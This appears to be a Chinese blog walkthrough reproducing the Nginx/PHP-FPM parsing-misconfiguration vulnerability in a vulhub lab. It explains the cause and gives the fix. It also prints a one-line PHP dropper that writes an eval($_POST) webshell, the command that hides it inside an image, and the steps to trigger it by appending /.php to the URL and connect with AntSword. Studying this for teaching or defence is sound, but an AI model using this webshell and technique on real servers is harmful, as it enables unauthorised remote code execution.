复现Nginx 解析漏洞

复现Nginx 解析漏洞

目录

漏洞原理

漏洞复现

编译环境

制作图片马

一:随便弄一张图片

二:准备写一个.php文件,写上木马

三:合成图片马

上传图片马

修复漏洞


漏洞原理

1、 由于nginx.conf的如下配置导致nginx把以’.php’结尾的文件交给fastcgi处理,为此可以构造http://ip/uploadfiles/test.png/.php (url结尾不一定是‘.php’,任何服务器端不存在的php文件均可,比如’a.php’),其中test.png是我们上传的包含PHP代码的照片文件。

复现Nginx 解析漏洞

2、但是fastcgi在处理’.php’文件时发现文件并不存在,这时php.ini配置文件中cgi.fix_pathinfo=1 发挥作用,这项配置用于修复路径,如果当前路径不存在则采用上层路径。为此这里交由fastcgi处理的文件就变成了’/test.png’。

3、 最重要的一点是php-fpm.conf中的security.limit_extensions配置项限制了fastcgi解析文件的类型(即指定什么类型的文件当做代码解析),此项设置为空的时候才允许fastcgi将’.png’等文件当做代码解析。

复现Nginx 解析漏洞

注:限制fpm允许解析的脚本扩展名。此设置可以预防web服务器配置的错误。应当限制fpm仅仅解析.php扩展名,阻止恶意用户使用其他扩展名运行php代码。默认值:.php

漏洞复现

该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。

编译环境

该环境使用vulhub搭建,该漏洞路径为 vulhub/nginx/nginx_parsing_vulnerability

直接执行docker-compose up -d启动容器,无需编译。

复现Nginx 解析漏洞

制作图片马

一:随便弄一张图片

复现Nginx 解析漏洞

二:准备写一个.php文件,写上木马

<?php fputs(fopen('shell.php','w'),'<?php eval($_POST["cmd"]);echo"hacker"?>');?>

复现Nginx 解析漏洞

三:合成图片马

copy /b 图片文件+木马文件 合成后的图片马名称.jpg

复现Nginx 解析漏洞
 

 可以看到,图片能正常打开

复现Nginx 解析漏洞

 上传到测试机中

复现Nginx 解析漏洞
 

上传图片马

复现Nginx 解析漏洞
 

成功上传

复现Nginx 解析漏洞

访问图片

复现Nginx 解析漏洞

正常显示

这时候在URL后加上/.php,让其运行php命令

复现Nginx 解析漏洞

会发现看不到我们写入的php命令了,但是其实是因为他已经成功执行了,这时候在uploadfiles的目录下已经成功生成了名为shell.php的文件,我们只需要访问该文件就可以了

复现Nginx 解析漏洞

注:

复现Nginx 解析漏洞

在URL后加上/.php可能会出现上图的错误信息,多试几次,换几张不同的照片重复制作图片马,会成功的

这个时候就可以打开中国蚁剑进行连接,连接成功后就可以进入到靶机内部

复现Nginx 解析漏洞

修复漏洞

修改php-fpm.conf的配置文件

复现Nginx 解析漏洞

 重启环境

docker-compose restart

复现Nginx 解析漏洞

浏览器再次访问加上./php的图片地址,发现被拒绝,说明漏洞被修复

复现Nginx 解析漏洞

参考:

https://blog.csdn.net/Tauil/article/details/125888127

https://www.cnblogs.com/yuzly/p/11208742.html

                       

点击阅读全文

上一篇 2023年 5月 27日 am10:57
下一篇 2023年 5月 27日 am10:58